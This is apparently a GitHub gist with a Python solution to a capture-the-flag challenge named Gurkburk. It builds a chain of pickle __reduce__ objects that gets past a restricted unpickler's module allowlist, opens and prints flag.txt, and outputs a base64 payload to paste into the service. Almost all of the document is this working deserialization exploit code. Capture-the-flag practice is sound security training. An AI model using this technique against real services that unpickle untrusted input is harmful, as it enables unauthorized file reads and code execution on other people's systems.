-
-
Save toblu302/364c3b474c4148295fdee9bd0207e758 to your computer and use it in GitHub Desktop.
Gurkburk solution
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# From the error message we can see that only __main__, __buitin__ and copyreg are allowed | |
# __builtin__.eval and __builtin__.exec are banned as well | |
# We can just open and print the flag.txt by using __builin__.open, followed by readline and print | |
# This sequence of calls is constructed below by using multiple objects and the pickle __reduce__ interface | |
import base64 | |
import builtins | |
import pickle | |
class FlagObjPickle: | |
def __reduce__(self): | |
return builtins.open, ("./flag.txt",) | |
def readlines(self): | |
pass | |
class ReadFlagPickle: | |
def __reduce__(self): | |
return FlagObjPickle().readlines, tuple() | |
class PrintFlagPickle: | |
def __reduce__(self): | |
return builtins.print, (ReadFlagPickle(),) | |
a = PrintFlagPickle() | |
pickled = pickle.dumps(a, 0) | |
# pickle.dumps changes builtins.print to cio.print, but __builtin__.print works as well and is required by the challenge | |
pickled = pickled.replace(b"cio", b"c__builtin__") | |
print("Exploit: ", base64.b64encode(pickled).decode('ascii')) | |
print("Connect to the service and press 'l' and paste the above") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment